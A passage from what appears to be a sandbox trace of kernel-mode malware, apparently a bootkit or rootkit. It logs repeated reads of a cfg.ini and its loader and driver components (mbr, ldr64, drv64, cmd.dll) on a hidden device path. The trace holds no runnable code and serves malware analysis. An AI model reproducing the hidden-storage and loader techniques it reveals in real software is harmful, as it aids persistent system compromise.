_MaxCount=0x10) returned -108 [0124.472] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.472] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.472] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.472] KeLeaveCriticalRegion () [0124.472] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.472] ReleaseMutex (hMutex=0x100) returned 1 [0124.472] Sleep (dwMilliseconds=0x2bf20) [0124.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d6312f0, dwHighDateTime=0x1d24fa4)) [0124.478] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.478] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.478] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.478] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.478] KeEnterCriticalRegion () [0124.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.478] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.478] IdePortDispatch () returned 0x103 [0124.478] KeWaitForMutexObject () returned 0x0 [0124.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.479] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.479] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.479] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.479] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.479] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] KeLeaveCriticalRegion () [0124.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.479] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.479] KeEnterCriticalRegion () [0124.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] KeLeaveCriticalRegion () [0124.479] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.479] KeEnterCriticalRegion () [0124.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.479] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.479] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.479] IdePortDispatch () returned 0x103 [0124.479] KeWaitForMutexObject () returned 0x0 [0124.479] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] KeLeaveCriticalRegion () [0124.479] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.479] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.479] KeEnterCriticalRegion () [0124.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.479] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003561000 [0124.479] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.479] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.480] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.480] IdePortDispatch () returned 0x103 [0124.480] KeWaitForMutexObject () returned 0x0 [0124.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.480] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.480] IdePortDispatch () returned 0x103 [0124.481] KeWaitForMutexObject () returned 0x0 [0124.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] KeLeaveCriticalRegion () [0124.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.481] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.481] KeEnterCriticalRegion () [0124.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] KeLeaveCriticalRegion () [0124.481] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.481] KeEnterCriticalRegion () [0124.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.481] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] KeLeaveCriticalRegion () [0124.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.481] KeEnterCriticalRegion () [0124.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.481] KeLeaveCriticalRegion () [0124.481] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.481] ReleaseMutex (hMutex=0xf0) returned 1 [0124.481] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.481] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.482] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.482] KeEnterCriticalRegion () [0124.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.482] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.482] IdePortDispatch () returned 0x103 [0124.482] KeWaitForMutexObject () returned 0x0 [0124.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.482] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.482] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.482] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.482] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.482] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.482] KeLeaveCriticalRegion () [0124.482] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.482] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.482] KeEnterCriticalRegion () [0124.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.482] KeLeaveCriticalRegion () [0124.482] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.482] KeEnterCriticalRegion () [0124.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.482] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.482] IdePortDispatch () returned 0x103 [0124.483] KeWaitForMutexObject () returned 0x0 [0124.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.483] KeLeaveCriticalRegion () [0124.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.483] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.483] KeEnterCriticalRegion () [0124.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.483] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003566000 [0124.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.483] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.483] IdePortDispatch () returned 0x103 [0124.483] KeWaitForMutexObject () returned 0x0 [0124.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.483] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.483] IdePortDispatch () returned 0x103 [0124.483] KeWaitForMutexObject () returned 0x0 [0124.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.483] KeLeaveCriticalRegion () [0124.483] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.484] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.484] KeEnterCriticalRegion () [0124.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] KeLeaveCriticalRegion () [0124.484] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.484] KeEnterCriticalRegion () [0124.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.484] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] KeLeaveCriticalRegion () [0124.484] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.484] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.484] KeEnterCriticalRegion () [0124.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] KeLeaveCriticalRegion () [0124.484] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.484] ReleaseMutex (hMutex=0xf0) returned 1 [0124.484] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.484] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.484] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.484] KeEnterCriticalRegion () [0124.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.485] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.485] IdePortDispatch () returned 0x103 [0124.485] KeWaitForMutexObject () returned 0x0 [0124.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.485] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.485] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.485] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.485] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.485] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef940 [0124.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.485] KeLeaveCriticalRegion () [0124.485] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.485] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.485] KeEnterCriticalRegion () [0124.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.485] KeLeaveCriticalRegion () [0124.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.485] KeEnterCriticalRegion () [0124.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.485] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.485] IdePortDispatch () returned 0x103 [0124.485] KeWaitForMutexObject () returned 0x0 [0124.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.486] KeLeaveCriticalRegion () [0124.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.486] KeEnterCriticalRegion () [0124.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.486] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003567000 [0124.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.486] IdePortDispatch () returned 0x103 [0124.486] KeWaitForMutexObject () returned 0x0 [0124.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.486] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.486] IdePortDispatch () returned 0x103 [0124.486] KeWaitForMutexObject () returned 0x0 [0124.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.486] KeLeaveCriticalRegion () [0124.486] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.487] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.487] KeEnterCriticalRegion () [0124.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] KeLeaveCriticalRegion () [0124.487] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.487] KeEnterCriticalRegion () [0124.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.487] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] KeLeaveCriticalRegion () [0124.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.487] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.487] KeEnterCriticalRegion () [0124.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] ExFreePoolWithTag (P=0xfffffa8003bef940, Tag=0x0) [0124.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] KeLeaveCriticalRegion () [0124.487] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.487] ReleaseMutex (hMutex=0xf0) returned 1 [0124.487] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.487] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.487] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.487] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.487] KeEnterCriticalRegion () [0124.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.487] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.487] IdePortDispatch () returned 0x103 [0124.488] KeWaitForMutexObject () returned 0x0 [0124.488] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.488] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.488] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.488] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.488] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.488] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.488] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) 